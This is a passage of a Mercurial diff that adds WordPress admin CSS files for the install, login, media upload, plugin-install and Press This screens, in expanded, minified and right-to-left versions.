0 14px 0;border-bottom:none;}.step{margin:20px 0 15px;}.step,th{text-align:left;padding:0;}.submit input,.button,.button-secondary{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;text-decoration:none;font-size:14px!important;line-height:16px;padding:6px 12px;cursor:pointer;border:1px solid #bbb;color:#464646;-moz-border-radius:15px;-khtml-border-radius:15px;-webkit-border-radius:15px;border-radius:15px;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;-khtml-box-sizing:content-box;box-sizing:content-box;}.button:hover,.button-secondary:hover,.submit input:hover{color:#000;border-color:#666;}.button,.submit input,.button-secondary{background:#f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;}.button:active,.submit input:active,.button-secondary:active{background:#eee url(../images/white-grad-active.png) repeat-x scroll left top;}.form-table{border-collapse:collapse;margin-top:1em;width:100%;}.form-table td{margin-bottom:9px;padding:10px;border-bottom:8px solid #fff;font-size:12px;}.form-table th{font-size:13px;text-align:left;padding:16px 10px 10px 10px;border-bottom:8px solid #fff;width:110px;vertical-align:top;}.form-table tr{background:#f3f3f3;}.form-table code{line-height:18px;font-size:18px;}.form-table p{margin:4px 0 0 0;font-size:11px;}.form-table input{line-height:20px;font-size:15px;padding:2px;}#error-page{margin-top:50px;}#error-page p{font-size:12px;line-height:18px;margin:25px 0 20px;}#error-page code{font-family:Consolas,Monaco,Courier,monospace;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/install.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/install.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,133 @@ +html { background: #f7f7f7; } + +body { + background: #fff; + color: #333; + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + margin: 2em auto 0 auto; + width: 700px; + padding: 1em 2em; + -moz-border-radius: 11px; + -khtml-border-radius: 11px; + -webkit-border-radius: 11px; + border-radius: 11px; + border: 1px solid #dfdfdf; +} + +a { color: #2583ad; text-decoration: none; } + +a:hover { color: #d54e21; } + +h1 { + border-bottom: 1px solid #dadada; + clear: both; + color: #666; + font: 24px Georgia, "Times New Roman", Times, serif; + margin: 5px 0 0 -4px; + padding: 0; + padding-bottom: 7px; +} + +h2 { font-size: 16px; } + +p, li { + padding-bottom: 2px; + font-size: 12px; + line-height: 18px; +} + +code { font-size: 13px; } + +ul, ol { padding: 5px 5px 5px 22px; } + +#logo { margin: 6px 0 14px 0; border-bottom: none;} + +.step { + margin: 20px 0 15px; +} + +.step, th { text-align: left; padding: 0; } + +.submit input, .button, .button-secondary { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + text-decoration: none; + font-size: 14px !important; + line-height: 16px; + padding: 6px 12px; + cursor: pointer; + border: 1px solid #bbb; + color: #464646; + -moz-border-radius: 15px; + -khtml-border-radius: 15px; + -webkit-border-radius: 15px; + border-radius: 15px; + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + -khtml-box-sizing: content-box; + box-sizing: content-box; +} + +.button:hover, .button-secondary:hover, .submit input:hover { + color: #000; + border-color: #666; +} + +.button, .submit input, .button-secondary { + background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top; +} + +.button:active, .submit input:active, .button-secondary:active { + background: #eee url(../images/white-grad-active.png) repeat-x scroll left top; +} + +.form-table { + border-collapse: collapse; + margin-top: 1em; + width: 100%; +} + +.form-table td { + margin-bottom: 9px; + padding: 10px; + border-bottom: 8px solid #fff; + font-size: 12px; +} + +.form-table th { + font-size: 13px; + text-align: left; + padding: 16px 10px 10px 10px; + border-bottom: 8px solid #fff; + width: 110px; + vertical-align: top; +} + +.form-table tr { + background: #f3f3f3; +} + +.form-table code { + line-height: 18px; + font-size: 18px; +} + +.form-table p { + margin: 4px 0 0 0; + font-size: 11px; +} + +.form-table input { + line-height: 20px; + font-size: 15px; + padding: 2px; +} + +#error-page { margin-top: 50px; } + +#error-page p { + font-size: 12px; + line-height: 18px; + margin: 25px 0 20px; +} + +#error-page code { font-family: Consolas, Monaco, Courier, monospace; } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/login-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/login-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,30 @@ +body { + font-family: Tahoma, arial; +} +form { + margin-right: 8px; + margin-left: 0; +} +form .forgetmenot { + float: right; +} +#login form .submit input { + font-family: Tahoma, arial; +} +form .submit { float: left; } +#backtoblog a { + left: auto; + right: 15px; +} +#login_error, .message { + margin: 0 8px 16px 0; +} +#nav { margin: 0 8px 0 0; } +#user_pass, #user_login, #user_email { + margin-left: 6px; + margin-right: 0; + direction:ltr; +} +h1 a { + text-decoration: none; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/login.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/login.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +*{margin:0;padding:0;}body{border-top-width:30px;border-top-style:solid;font:11px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;}form{margin-left:8px;padding:16px 16px 40px 16px;font-weight:normal;-moz-border-radius:11px;-khtml-border-radius:11px;-webkit-border-radius:11px;border-radius:5px;background:#fff;border:1px solid #e5e5e5;-moz-box-shadow:rgba(200,200,200,1) 0 4px 18px;-webkit-box-shadow:rgba(200,200,200,1) 0 4px 18px;-khtml-box-shadow:rgba(200,200,200,1) 0 4px 18px;box-shadow:rgba(200,200,200,1) 0 4px 18px;}form .forgetmenot{font-weight:normal;float:left;margin-bottom:0;}.button-primary{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;padding:3px 10px;border:none;font-size:12px;border-width:1px;border-style:solid;-moz-border-radius:11px;-khtml-border-radius:11px;-webkit-border-radius:11px;border-radius:11px;cursor:pointer;text-decoration:none;margin-top:-3px;}#login form p{margin-bottom:0;}label{color:#777;font-size:13px;}form .forgetmenot label{font-size:11px;line-height:19px;}form .submit,.alignright{float:right;}form p{margin-bottom:24px;}h1 a{background:url(../images/logo-login.gif) no-repeat top center;width:326px;height:67px;text-indent:-9999px;overflow:hidden;padding-bottom:15px;display:block;}#nav{text-shadow:rgba(255,255,255,1) 0 1px 0;}#backtoblog a{position:absolute;top:7px;left:15px;text-decoration:none;}#login{width:320px;margin:7em auto;}#login_error,.message{margin:0 0 16px 8px;border-width:1px;border-style:solid;padding:12px;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;}#nav{margin:0 0 0 8px;padding:16px;}#user_pass,#user_login,#user_email{font-size:24px;width:97%;padding:3px;margin-top:2px;margin-right:6px;margin-bottom:16px;border:1px solid #e5e5e5;background:#fbfbfb;}input{color:#555;}.clear{clear:both;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/login.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/login.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,129 @@ +* { margin: 0; padding: 0; } + +body { + border-top-width: 30px; + border-top-style: solid; + font: 11px "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; +} + +form { + margin-left: 8px; + padding: 16px 16px 40px 16px; + font-weight: normal; + -moz-border-radius: 11px; + -khtml-border-radius: 11px; + -webkit-border-radius: 11px; + border-radius: 5px; + background: #fff; + border: 1px solid #e5e5e5; + -moz-box-shadow: rgba(200,200,200,1) 0 4px 18px; + -webkit-box-shadow: rgba(200,200,200,1) 0 4px 18px; + -khtml-box-shadow: rgba(200,200,200,1) 0 4px 18px; + box-shadow: rgba(200,200,200,1) 0 4px 18px; +} + +form .forgetmenot { + font-weight: normal; + float: left; + margin-bottom: 0; +} + +.button-primary { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + padding: 3px 10px; + border: none; + font-size: 12px; + border-width: 1px; + border-style: solid; + -moz-border-radius: 11px; + -khtml-border-radius: 11px; + -webkit-border-radius: 11px; + border-radius: 11px; + cursor: pointer; + text-decoration: none; + margin-top: -3px; +} + +#login form p { + margin-bottom: 0; +} + +label { + color: #777; + font-size: 13px; +} + +form .forgetmenot label { + font-size: 11px; + line-height: 19px; +} + +form .submit, +.alignright { + float: right; +} + +form p { + margin-bottom: 24px; +} + +h1 a { + background: url(../images/logo-login.gif) no-repeat top center; + width: 326px; + height: 67px; + text-indent: -9999px; + overflow: hidden; + padding-bottom: 15px; + display: block; +} + +#nav { + text-shadow: rgba(255,255,255,1) 0 1px 0; +} + +#backtoblog a { + position: absolute; + top: 7px; + left: 15px; + text-decoration: none; +} + +#login { width: 320px; margin: 7em auto; } + +#login_error, +.message { + margin: 0 0 16px 8px; + border-width: 1px; + border-style: solid; + padding: 12px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +#nav { + margin: 0 0 0 8px; + padding: 16px; +} + +#user_pass, +#user_login, +#user_email { + font-size: 24px; + width: 97%; + padding: 3px; + margin-top: 2px; + margin-right: 6px; + margin-bottom: 16px; + border: 1px solid #e5e5e5; + background: #fbfbfb; +} + +input { + color: #555; +} + +.clear { + clear: both; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/media-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/media-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,85 @@ +body#media-upload ul#sidemenu { + left: auto; + right: 0; +} +#search-filter { + text-align: left; +} +/* specific to the image upload form */ +.align .field label { + padding: 0 28px 0 0; + margin: 0 0 0 1em; +} +.image-align-none-label, .image-align-left-label, .image-align-center-label, .image-align-right-label { + background-position: center right; +} +tr.image-size div.image-size-item { + float: right; +} +tr.image-size label { + margin: 0 1em 0 0; +} +.filename.original { + float: right; +} +.crunching { + text-align: left; + margin-right: 0; + margin-left: 5px; +} +button.dismiss { + right: auto; + left: 5px; +} +.file-error { + margin: 0 50px 5px 0; +} +.progress { + left: auto; + right: 0; +} +.describe td { + padding: 0 0 0 5px; +} +.bar { + border-right-width: 0; + border-left-width: 3px; + border-right-style: none; + border-left-style: solid; +} + +/* Specific to Uploader */ +#media-upload .media-upload-form p { + margin: 0 0 1em 1em; +} +.filename { + float: right; + margin-left: 0; + margin-right: 10px; +} +#media-upload .describe th.label { + text-align: right; +} +.menu_order { + float: left; +} +.media-upload-form label.form-help, td.help, #media-upload p.help, #media-upload label.help { + font-family: Tahoma, Arial; +} +#gallery-settings #basic th.label { + padding: 5px 0 5px 5px; +} +#gallery-settings .title, h3.media-title { + font-family: Tahoma, Arial; +} +#gallery-settings .describe th.label { + text-align: right; +} +#gallery-settings label, +#gallery-settings legend { + margin-right: 0; + margin-left: 15px; +} +#gallery-settings .align .field label { + margin: 0 0 0 1.5em; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/media.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/media.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +div#media-upload-header{margin:0;padding:0 5px;font-weight:bold;position:relative;border-bottom-width:1px;border-bottom-style:solid;height:2.5em;}body#media-upload ul#sidemenu{font-weight:normal;margin:0 5px;position:absolute;left:0;bottom:-1px;}div#media-upload-error{margin:1em;font-weight:bold;}form{margin:1em;}#search-filter{text-align:right;}th{position:relative;}.media-upload-form label.form-help,td.help{font-family:"Lucida Grande","Bitstream Vera Sans",Verdana,Arial,sans-serif;font-style:italic;font-weight:normal;}.media-upload-form p.help{margin:0;padding:0;}.media-upload-form fieldset{width:100%;border:none;text-align:justify;margin:0 0 1em 0;padding:0;}.image-align-none-label{background:url(../images/align-none.png) no-repeat center left;}.image-align-left-label{background:url(../images/align-left.png) no-repeat center left;}.image-align-center-label{background:url(../images/align-center.png) no-repeat center left;}.image-align-right-label{background:url(../images/align-right.png) no-repeat center left;}tr.image-size td{width:460px;}tr.image-size div.image-size-item{float:left;width:25%;margin:0;}#library-form .progress,#gallery-form .progress,#flash-upload-ui,.insert-gallery,.describe.startopen,.describe.startclosed{display:none;}.media-item .thumbnail{max-width:128px;max-height:128px;}thead.media-item-info tr{background-color:transparent;}thead.media-item-info th,thead.media-item-info td{border:none;margin:0;}.form-table thead.media-item-info{border:8px solid #fff;}abbr.required{text-decoration:none;border:none;}.describe label{display:inline;}.describe td{vertical-align:middle;padding:0 5px 8px 0;}.describe td.error{padding:2px 8px;}.describe td.A1{width:132px;}.describe input[type="text"],.describe textarea{width:460px;border-width:1px;border-style:solid;}.hidden{height:0;width:0;overflow:hidden;border:none;}#media-upload p.ml-submit{padding:1em 0;}#media-upload p.help,#media-upload label.help{font-family:"Lucida Grande","Bitstream Vera Sans",Verdana,Arial,sans-serif;font-style:italic;font-weight:normal;}#media-upload tr.image-size td.field{text-align:center;}#media-upload #media-items{border-width:1px;border-style:solid;border-bottom:none;width:623px;}#media-upload .media-item{border-bottom-width:1px;border-bottom-style:solid;min-height:36px;width:100%;}#media-upload .ui-sortable .media-item{cursor:move;}.filename{line-height:36px;padding:0 10px;overflow:hidden;}#media-upload .describe{padding:5px;width:100%;clear:both;cursor:default;}#media-upload .slidetoggle{border-top-width:1px;border-top-style:solid;}#media-upload .describe th.label{padding-top:.2em;text-align:left;min-width:120px;}#media-upload tr.align td.field{text-align:center;}#media-upload tr.image-size{margin-bottom:1em;height:3em;}#media-upload #filter{width:623px;}#media-upload #filter .subsubsub{margin:8px 0;}#filter .tablenav select{border-style:solid;border-width:1px;padding:2px;vertical-align:top;width:auto;}#media-upload .del-attachment{display:none;margin:5px 0;}.menu_order{float:right;font-size:11px;margin:10px 10px 0;}.menu_order_input{border:1px solid #ddd;font-size:10px;padding:1px;width:23px;}.ui-sortable-helper{background-color:#fff;border:1px solid #aaa;opacity:.6;filter:alpha(opacity=60);}#media-upload th.order-head{width:20%;text-align:center;}#media-upload th.actions-head{width:25%;text-align:center;}#media-upload a.wp-post-thumbnail{margin:0 20px;}#media-items a.delete{display:block;float:right;}#media-upload .widefat{width:626px;border-style:solid solid none;}.sorthelper{height:37px;width:623px;display:block;}#gallery-settings th.label{width:160px;}#gallery-settings #basic th.label{padding:5px 5px 5px 0;}#gallery-settings .title{clear:both;padding:0 0 3px;font-size:1.6em;border-bottom:1px solid #DADADA;}h3.media-title{font-size:1.6em;}h4.media-sub-title{border-bottom:1px solid #DADADA;font-size:1.3em;margin:12px;padding:0 0 3px;}#gallery-settings .title,h3.media-title,h4.media-sub-title{font-family:Georgia,"Times New Roman",Times,serif;font-weight:normal;color:#5A5A5A;}#gallery-settings .describe td{vertical-align:middle;height:3em;}#gallery-settings .describe th.label{padding-top:.5em;text-align:left;}#gallery-settings .describe{padding:5px;width:615px;clear:both;cursor:default;}#gallery-settings .describe select{width:15em;}#gallery-settings .describe select option,#gallery-settings .describe td{padding:0;}#gallery-settings label,#gallery-settings legend{font-size:13px;color:#464646;margin-right:15px;}#gallery-settings .align .field label{margin:0 1.5em 0 0;}#gallery-settings p.ml-submit{border-top:1px solid #dfdfdf;}#gallery-settings select#columns{width:6em;}#sort-buttons{font-size:.8em;margin:3px 25px -8px 0;text-align:right;max-width:625px;}#sort-buttons a{text-decoration:none;}#sort-buttons #asc,#sort-buttons #showall{padding-left:5px;}#sort-buttons span{margin-right:25px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/media.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/media.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,384 @@ +div#media-upload-header { + margin: 0; + padding: 0 5px; + font-weight: bold; + position: relative; + border-bottom-width: 1px; + border-bottom-style: solid; + height: 2.5em; +} + +body#media-upload ul#sidemenu { + font-weight: normal; + margin: 0 5px; + position: absolute; + left: 0px; + bottom: -1px; +} + +div#media-upload-error { + margin: 1em; + font-weight: bold; +} + +form { + margin: 1em; +} + +#search-filter { + text-align: right; +} + +th { + position: relative; +} + +.media-upload-form label.form-help, td.help { + font-family: "Lucida Grande", "Bitstream Vera Sans", Verdana, Arial, sans-serif; + font-style: italic; + font-weight: normal; +} + +.media-upload-form p.help { + margin: 0; + padding: 0; +} + +.media-upload-form fieldset { + width: 100%; + border: none; + text-align: justify; + margin: 0 0 1em 0; + padding: 0; +} + +/* specific to the image upload form */ + + +.image-align-none-label { + background: url(../images/align-none.png) no-repeat center left; +} + +.image-align-left-label { + background: url(../images/align-left.png) no-repeat center left; +} + +.image-align-center-label { + background: url(../images/align-center.png) no-repeat center left; +} + +.image-align-right-label { + background: url(../images/align-right.png) no-repeat center left; +} + +tr.image-size td { + width: 460px; +} + +tr.image-size div.image-size-item { + float: left; + width: 25%; + margin: 0; +} + +#library-form .progress, +#gallery-form .progress, +#flash-upload-ui, +.insert-gallery, +.describe.startopen, +.describe.startclosed { + display: none; +} + +.media-item .thumbnail { + max-width: 128px; + max-height: 128px; +} + +thead.media-item-info tr { + background-color: transparent; +} + +thead.media-item-info th, +thead.media-item-info td { + border: none; + margin: 0; +} + +.form-table thead.media-item-info { + border: 8px solid #fff; +} + +abbr.required { + text-decoration: none; + border: none; +} + +.describe label { + display: inline; +} + +.describe td { + vertical-align: middle; + padding: 0 5px 8px 0; +} + +.describe td.error { + padding: 2px 8px; +} + +.describe td.A1 { + width: 132px; +} + +.describe input[type="text"], +.describe textarea { + width: 460px; + border-width: 1px; + border-style: solid; +} + +.hidden { + height: 0; + width: 0; + overflow: hidden; + border: none; +} + +/* Specific to Uploader */ + +#media-upload p.ml-submit { + padding: 1em 0; +} + +#media-upload p.help, +#media-upload label.help { + font-family: "Lucida Grande", "Bitstream Vera Sans", Verdana, Arial, sans-serif; + font-style: italic; + font-weight: normal; +} + +#media-upload tr.image-size td.field { + text-align: center; +} + +#media-upload #media-items { + border-width: 1px; + border-style: solid; + border-bottom: none; + width: 623px; +} + +#media-upload .media-item { + border-bottom-width: 1px; + border-bottom-style: solid; + min-height: 36px; + width: 100%; +} + +#media-upload .ui-sortable .media-item { + cursor: move; +} + +.filename { + line-height: 36px; + padding: 0 10px; + overflow: hidden; +} + +#media-upload .describe { + padding: 5px; + width: 100%; + clear: both; + cursor: default; +} + +#media-upload .slidetoggle { + border-top-width: 1px; + border-top-style: solid; +} + +#media-upload .describe th.label { + padding-top: .2em; + text-align: left; + min-width: 120px; +} + +#media-upload tr.align td.field { + text-align: center; +} + +#media-upload tr.image-size { + margin-bottom: 1em; + height: 3em; +} + +#media-upload #filter { + width: 623px; +} + +#media-upload #filter .subsubsub { + margin: 8px 0; +} + +#filter .tablenav select { + border-style: solid; + border-width: 1px; + padding: 2px; + vertical-align: top; + width: auto; +} + +#media-upload .del-attachment { + display: none; + margin: 5px 0; +} + +.menu_order { + float: right; + font-size: 11px; + margin: 10px 10px 0; +} + +.menu_order_input { + border: 1px solid #ddd; + font-size: 10px; + padding: 1px; + width: 23px; +} + +.ui-sortable-helper { + background-color: #fff; + border: 1px solid #aaa; + opacity: 0.6; + filter: alpha(opacity=60); +} + +#media-upload th.order-head { + width: 20%; + text-align: center; +} + +#media-upload th.actions-head { + width: 25%; + text-align: center; +} + +#media-upload a.wp-post-thumbnail { + margin: 0 20px; +} + +#media-items a.delete { + display: block; + float: right; +} + +#media-upload .widefat { + width: 626px; + border-style: solid solid none; +} + +.sorthelper { + height: 37px; + width: 623px; + display: block; +} + +#gallery-settings th.label { + width: 160px; +} + +#gallery-settings #basic th.label { + padding: 5px 5px 5px 0; +} + +#gallery-settings .title { + clear: both; + padding: 0 0 3px; + font-size: 1.6em; + border-bottom: 1px solid #DADADA; +} + +h3.media-title { + font-size: 1.6em; +} + +h4.media-sub-title { + border-bottom: 1px solid #DADADA; + font-size: 1.3em; + margin: 12px; + padding: 0 0 3px; +} + +#gallery-settings .title, +h3.media-title, +h4.media-sub-title { + font-family: Georgia,"Times New Roman",Times,serif; + font-weight: normal; + color: #5A5A5A; +} + +#gallery-settings .describe td { + vertical-align: middle; + height: 3em; +} + +#gallery-settings .describe th.label { + padding-top: .5em; + text-align: left; +} + +#gallery-settings .describe { + padding: 5px; + width: 615px; + clear: both; + cursor: default; +} + +#gallery-settings .describe select { + width: 15em; +} + +#gallery-settings .describe select option, +#gallery-settings .describe td { + padding: 0; +} + +#gallery-settings label, +#gallery-settings legend { + font-size: 13px; + color: #464646; + margin-right: 15px; +} + +#gallery-settings .align .field label { + margin: 0 1.5em 0 0; +} + +#gallery-settings p.ml-submit { + border-top: 1px solid #dfdfdf; +} + +#gallery-settings select#columns { + width: 6em; +} + +#sort-buttons { + font-size: 0.8em; + margin: 3px 25px -8px 0; + text-align: right; + max-width: 625px; +} + +#sort-buttons a { + text-decoration: none; +} + +#sort-buttons #asc, +#sort-buttons #showall { + padding-left: 5px; +} + +#sort-buttons span { + margin-right: 25px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/plugin-install-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/plugin-install-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,43 @@ +div.star { + left: auto; + right: 0; + letter-spacing: 0; +} +.star img, div.star a, div.star a:hover, div.star a:visited { + right: auto; + left: 0; +} +#plugin-information ul#sidemenu { + left: auto; + right: 0; +} +#plugin-information h2 { + margin-right: 0; + margin-left: 200px; +} +#plugin-information .fyi { + margin-left: 5px; + margin-right: 20px; +} +#plugin-information .fyi h2 { + margin-left: 0; +} +#plugin-information .fyi ul { + padding: 10px 7px 10px 5px; +} +#plugin-information #section-screenshots li p { + padding-left: 0; + padding-right: 20px; +} +#plugin-information .updated, +#plugin-information pre { + margin-right: 0; + margin-left: 215px; +} +#plugin-information .updated, #plugin-information .error { + clear: none; + direction: rtl; +} +#section-description { + direction: ltr; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/plugin-install.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/plugin-install.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +div.star-holder{position:relative;height:19px;width:100px;font-size:19px;}div.star{height:100%;position:absolute;top:0;left:0;background-color:transparent;letter-spacing:1ex;border:none;}.star1{width:20%;}.star2{width:40%;}.star3{width:60%;}.star4{width:80%;}.star5{width:100%;}.star img,div.star a,div.star a:hover,div.star a:visited{display:block;position:absolute;right:0;border:none;text-decoration:none;}div.star img{width:19px;height:19px;border-left:1px solid #fff;border-right:1px solid #fff;}#plugin-information-header{margin:0;padding:0 5px;font-weight:bold;position:relative;border-bottom-width:1px;border-bottom-style:solid;height:2.5em;}#plugin-information ul#sidemenu{font-weight:normal;margin:0 5px;position:absolute;left:0;bottom:-1px;}#plugin-information p.action-button{width:100%;padding-bottom:0;margin-bottom:0;margin-top:10px;-moz-border-radius:3px 0 0 3px;-webkit-border-top-left-radius:3px;-khtml-border-top-left-radius:3px;border-top-left-radius:3px;-webkit-border-bottom-left-radius:3px;-khtml-border-bottom-left-radius:3px;border-bottom-left-radius:3px;}#plugin-information .action-button a{text-align:center;font-weight:bold;text-decoration:none;display:block;line-height:2em;}#plugin-information h2{clear:none!important;margin-right:200px;}#plugin-information .fyi{margin:0 10px 50px;width:210px;}#plugin-information .fyi h2{font-size:.9em;margin-bottom:0;margin-right:0;}#plugin-information .fyi h2.mainheader{padding:5px;-moz-border-radius-topleft:3px;-webkit-border-top-left-radius:3px;-khtml-border-top-left-radius:3px;border-top-left-radius:3px;}#plugin-information .fyi ul{padding:10px 5px 10px 7px;margin:0;list-style:none;-moz-border-radius-bottomleft:3px;-webkit-border-bottom-left-radius:3px;-khtml-border-bottom-left-radius:3px;border-bottom-left-radius:3px;}#plugin-information .fyi li{margin-right:0;}#plugin-information #section-holder{padding:10px;}#plugin-information .section ul,#plugin-information .section ol{margin-left:16px;list-style-type:square;list-style-image:none;}#plugin-information #section-screenshots li img{vertical-align:text-top;}#plugin-information #section-screenshots li p{font-style:italic;padding-left:20px;padding-bottom:2em;}#plugin-information .updated,#plugin-information pre{margin-right:215px;}#plugin-information pre{padding:7px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/plugin-install.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/plugin-install.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,148 @@ +/* NOTE: the following CSS rules(.star*) are taken more or less straight from the bbPress rating plugin. */ +div.star-holder { + position: relative; + height: 19px; + width: 100px; + font-size: 19px; +} + +div.star { + height: 100%; + position: absolute; + top: 0; + left: 0; + background-color: transparent; + letter-spacing: 1ex; + border: none; +} + +.star1 { width: 20%; } +.star2 { width: 40%; } +.star3 { width: 60%; } +.star4 { width: 80%; } +.star5 { width: 100%; } + +.star img, div.star a, div.star a:hover, div.star a:visited { + display: block; + position: absolute; + right: 0; + border: none; + text-decoration: none; +} + +div.star img { + width: 19px; + height: 19px; + border-left: 1px solid #fff; + border-right: 1px solid #fff; +} + +/* Start custom CSS */ +/* Header on thickbox */ +#plugin-information-header { + margin: 0; + padding: 0 5px; + font-weight: bold; + position: relative; + border-bottom-width: 1px; + border-bottom-style: solid; + height: 2.5em; +} +#plugin-information ul#sidemenu { + font-weight: normal; + margin: 0 5px; + position: absolute; + left: 0; + bottom: -1px; +} + +/* Install sidemenu */ +#plugin-information p.action-button { + width: 100%; + padding-bottom: 0; + margin-bottom: 0; + margin-top: 10px; + -moz-border-radius: 3px 0 0 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-left-radius: 3px; + -webkit-border-bottom-left-radius: 3px; + -khtml-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; +} + +#plugin-information .action-button a { + text-align: center; + font-weight: bold; + text-decoration: none; + display: block; + line-height: 2em; +} + +#plugin-information h2 { + clear: none !important; + margin-right: 200px; +} + +#plugin-information .fyi { + margin: 0 10px 50px; + width: 210px; +} + +#plugin-information .fyi h2 { + font-size: 0.9em; + margin-bottom: 0; + margin-right: 0; +} + +#plugin-information .fyi h2.mainheader { + padding: 5px; + -moz-border-radius-topleft: 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-left-radius: 3px; +} + +#plugin-information .fyi ul { + padding: 10px 5px 10px 7px; + margin: 0; + list-style: none; + -moz-border-radius-bottomleft: 3px; + -webkit-border-bottom-left-radius: 3px; + -khtml-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; +} + +#plugin-information .fyi li { + margin-right: 0; +} + +#plugin-information #section-holder { + padding: 10px; +} + +#plugin-information .section ul, +#plugin-information .section ol { + margin-left: 16px; + list-style-type: square; + list-style-image: none; +} + +#plugin-information #section-screenshots li img { + vertical-align: text-top; +} + +#plugin-information #section-screenshots li p { + font-style: italic; + padding-left: 20px; + padding-bottom: 2em; +} + +#plugin-information .updated, +#plugin-information pre { + margin-right: 215px; +} + +#plugin-information pre { + padding: 7px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/press-this-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/press-this-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ +body { + font-family: Tahoma, Arial; +} + +#poststuff #edButtonPreview, +#poststuff #edButtonHTML { + margin: 0 0 0 5px; + float: right; +} + +/* Editor/Main Column */ +div#poststuff { + padding-left: 0; + padding-right: 10px; +} + +.posting { + margin-right: 0; + margin-left: 228px; + left: auto; + right: 0; +} + +#side-info-column { + float: left; + right: auto; + left: 0; + margin-right: 0; + margin-left: 10px; +} + +#side-info-column .sleeve { + padding-left: 0; + padding-right: 10px; +} + +h3.tb { + margin-left: 0; + margin-right: 5px; +} + +#actions { + float: left; +} + +#extra_fields #actions { + right: auto; + left: 4px; +} + +#actions li { + float: right; + margin-right: 0; + margin-left: 10px; +} + +#extra_fields .button { + margin-right: 0; + margin-left: 5px; +} + +/* Photo Styles */ +#img_container a { + float: right; +} + +#category-add input, #category-add select { + font-family: Tahoma, Arial; +} + +#categorydiv ul.categorychecklist ul { + margin-left: 0; + margin-right: 18px; +} + +/* Tags */ +#tagsdiv #newtag { + margin-right: 0; + margin-left: 5px; +} + +#tagadd { + margin-left: 0; + margin-right: 3px; +} + +#tagchecklist span { + margin-left: .5em; + margin-right: 10px; + float: right; +} +#tagchecklist span a { + margin: 6px -9px 0 0; + float: right; +} + +#content { + margin-left: 0; + margin-right: 1%; +} + +.submit input, +.button, +.button-primary, +.button-secondary, +.button-highlighted, +#postcustomstuff .submit input { + font-family: Tahoma, Arial, sans-serif; +} + +.ac_results li { + text-align: right; +} + +#TB_ajaxContent #options { + right: auto; + left: 25px; +} + +#post_status { + margin-left: 0; + margin-right: 10px; +} + +/* Footer */ +#footer { + padding: 10px 60px 0 0; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/press-this.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/press-this.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +body{font:13px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;color:#333;margin:0;padding:0;min-width:675px;min-height:400px;}img{border:none;}#wphead{border-top:none;padding-top:4px;background:#444!important;}.tagchecklist span a{background:transparent 